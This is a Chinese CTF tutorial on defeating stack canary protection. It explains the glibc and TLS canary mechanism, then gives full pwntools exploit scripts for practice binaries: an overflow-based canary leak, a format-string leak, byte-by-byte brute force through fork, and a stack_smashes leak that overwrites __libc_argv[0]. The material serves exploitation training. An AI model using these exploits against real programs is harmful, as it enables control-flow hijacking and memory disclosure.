绕过保护之——Canary

初识Canary

关于canary说白了就是一个防止栈溢出的手段,一般情况下是在栈底前边设置一个值,在进程结束时,对比这个值有没有被篡改,如果篡改就退出。具体汇编如下

函数开始前在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 rbp-0x8 的位置(32位ebp-0x4。但是这个位置不是绝对的,可以通过ida分析)。 这个操作即为向栈中插入 Canary 值

mov rax, qword ptr fs:[0x28]

mov qword ptr [rbp - 8], rax

函数结束时,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出

mov rdx,QWORD PTR [rbp-0x8]

xor rdx,QWORD PTR fs:0x28

je 0x4005d7

call 0x400460 <__stack_chk_fail@plt>

如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,这个函数不同的libc会不同(从glibc开始 2.27后稍有不同)定义如下

eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)

{

__fortify_fail ("stack smashing detected");

}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)

{

/* The loop is added only to keep gcc happy. */

while (1)

__libc_message (2, "*** %s ***: %s terminated\n",

msg, __libc_argv[0] ?: "");

}

在没有开启FULL RELRO保护时,我们可以通过劫持GOT表,然后触发Canary检测报错,这时就会进入劫持的地址。另一种是利用fortify_fail函数打印关键信息

关于Canary的储存地址,对于Liunx来说,fs寄存器实际指向的是当前进程的TLS结构,fs:0x28指向的正式stack_guard。如果溢出条件合适,我们完全可以覆盖TLS中保存的Canary值

typedef struct

{

void *tcb; /* Pointer to the TCB. Not necessarily the

thread descriptor used by libpthread. */

dtv_t *dtv;

void *self; /* Pointer to the thread descriptor. */

int multiple_threads;

uintptr_t sysinfo;

uintptr_t stack_guard;

...

} tcbhead_t;

这个值由ssecurity_init函数来初始化

static void

security_init (void)

{

// _dl_random的值在进入这个函数的时候就已经由kernel写入.

// glibc直接使用了_dl_random的值并没有给赋值

// 如果不采用这种模式, glibc也可以自己产生随机数

//将_dl_random的最后一个字节设置为0x0

uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

// 设置Canary的值到TLS中

THREAD_SET_STACK_GUARD (stack_chk_guard);

_dl_random = NULL;

}

//THREAD_SET_STACK_GUARD宏用于设置TLS

#define THREAD_SET_STACK_GUARD(value) \

THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

Canary的最后一个字节呗设置为0,防止类似与printf("%s" , &buf),形式的函数不小心打印出来,所以我们可以把这个0给覆盖,用打印函数来覆盖,这样就泄露了Canary的值

Canary保护机制总结

_dl_random由Kernel写入

security_init 函数将_dl_random 的最后一个字节设置为0,防止 printf("%s”)这类打印函数不小心泄露 Canary。

security_init 函数将 Canary 值设置到 TLS 中。

在函数开始时,会取出TLS中的Canary值放在ebp-4h(64位系统为rbp-8h)

中,即防止通过栈溢出修改 ebp 和返回地址。

在函数结束时,会取出ebp-4h(64位系统为rbp-8h)的值,并与 TLS 中的 Canar值进行异或,判断是否为0。若结果为0,则检查通过;若结果不为0,则检查不通过,进人stack_chk_fail 函数

Canary保护机制主要有两个漏洞

stack_chk_fai1函数会有信息输出,如果我们能够控制 libc_argv[0],就能够通过stack_chk fail函数泄露出我们想要的信息,这个技术被称为 stacksmashes(glibc 2.27 和 2.27之后的版本会有一些变化)。

如果我们有一个很长的栈溢出,那么可以直接溢出TLS 中的 a1_random 的值,因此可以绕过 Canary 保护。当然,这里可能还需要一个多线程的条件,可以在后续例

题中看到。

对于有Canary的程序,如果考虑栈溢出攻击,主要有四个攻击点:

利用泄露函数泄露出 Canary 的值,再进行利用。

爆破得到 Canary 的值。

stack_chk fai1 函数泄露关键信息。

修改 TLS 中的 stack quard 值。

泄露Canary值

附件下载

注意点Canary值距离ebp为0xc,然后通过栈溢出覆盖最后一位0,通过打印函数打印出来cancary

第一种是用栈溢出漏洞

from pwn import *

from LibcSearcher import *

filename = './leak_canary'

if len(sys.argv) > 1 and sys.argv[1] == 'remote':

p = remote( )

else:

p = process(filename)

context(log_level = 'debug')

elf = ELF(filename)

target = 0x080485CC

payload = b'a' * 0x100 + b'b'

p.send(payload)

p.recvuntil(b'a' * 0x100)

canary_addr = u32(p.recv(4)) - ord('b')

success(hex(canary_addr))

payload2 = b'\x00' * 0x100 + p32(canary_addr)

payload2 += p32(1) * 3

payload2 += p32(target)

p.sendline(payload2)

p.interactive()

第二种是利用格式化字符串

from pwn import *

from LibcSearcher import *

filename = './leak_canary'

if len(sys.argv) > 1 and sys.argv[1] == 'remote':

p = remote( )

else:

p = process(filename)

context(log_level = 'debug')

elf = ELF(filename)

target = 0x080485CC

p1 = '%{offset}$p\n'.format(offset = 71)

p.send(p1)

canary_addr = int(p.recvuntil('\n' , drop=True) , 16)

success(hex(canary_addr))

p2 = b'a' * 0x100 + p32(canary_addr)

p2 += 0xc * b'a'

p2 += p32(target)

p.sendline(p2)

p.interactive()

逐字节爆破Canary

附件下载

这种方法局限性比较大,必须有fork函数开启子进程。因为fork函数会直接拷贝父进程内存,所以创建的子进程canary都是相同的

我们一直fork开启子进程,一个一个字节的爆破

from pwn import *

from LibcSearcher import *

filename = './one_by_one_bruteforce'

if len(sys.argv) > 1 and sys.argv[1] == 'remote':

p = remote( )

else:

p = process(filename)

context(log_level = 'debug')

elf = ELF(filename)

def bruteforce1bit() :

global known

for i in range(256):

p1 = 0x108 * b'a'

p1 += known

p1 += bytes([i])

p.sendafter('one_by_one_bruteforce\n',p1)

try :

info = p.recvuntil(b'\n')

if b"*** stack smashing detected ***" in info :

p.send('n\n')

continue

else :

known += bytes([i])

break

except:

log.info('wrong')

break

def bruteforce_canary():

global known

known += b'\x00'

for i in range(7):

bruteforce1bit()

if i != 6 :

p.send(b'n\n')

else :

p.send(b'y\n')

target = 0x000000000040083E

known = b""

bruteforce_canary()

canary = u64(known) # Ensure known is 8 bytes

log.success("canary: " + hex(canary))

p2 = b"a" * 0x108 + p64(canary) + p64(0) + p64(target)

p.sendafter(b"go\n", p2)

p.interactive()

| 这两个理解起来都很简单,没有什么难点,看着exp很容易理解

stack_smashes

附件下载

前边已经简绍了,_stack_chk_fail函数会将__libc_agrc[0]的信息打印出来,所以我们可以改变__libc_agrc[0]的地址为我们想要信息的值,那么就能得到相应数据了

首先简绍一下什么是__libc_agrc[0]

main(int argc,char 、*argv[ ])

argc为整数

argv为指针的指针(可理解为:char **argv or: char *argv[] or: char argv[][] ,argv是一个指针数组)

注:main()括号内是固定的写法。

下面给出一个例子来理解这两个参数的用法:

假设程序的名称为prog,

当只输入prog,则由操作系统传来的参数为:

argc=1,表示只有一程序名称。

argc只有一个元素,argv[0]指向输入的程序路径及名称:./prog

当输入prog para_1,有一个参数,则由操作系统传来的参数为:

argc=2,表示除了程序名外还有一个参数。

argv[0]指向输入的程序路径及名称。

argv[1]指向参数para_1字符串。

当输入prog para_1 para_2 有2个参数,则由操作系统传来的参数为:

argc=3,表示除了程序名外还有2个参数。

argv[0]指向输入的程序路径及名称。

argv[1]指向参数para_1字符串。

argv[2]指向参数para_2字符串。

void main( int argc, char *argv[] )

char *argv[] : argv 是一个指针数组,他的元素个数是argc,存放的是指向每一个参数的指针

我们本题需要找__libc_agrc[0]和输入的偏移

下断点直接到输入函数

第二个参数为输入地址(具体第几个参数,根据函数本身决定)

下断点到main

__libc_argv[0]指向的是文件路径

直接算出偏移

#脚本也是非常easy

from pwn import *

p = process("./stack_smashes")

gdb.attach(p,"b *0x000000000040087A")

context.log_level = "debug"

flag_addr = 0x0000000000601090

p2 = b"a" * 0x218 + p64(flag_addr)

p.sendafter("stack_smashes\n",p2)

p.interactive()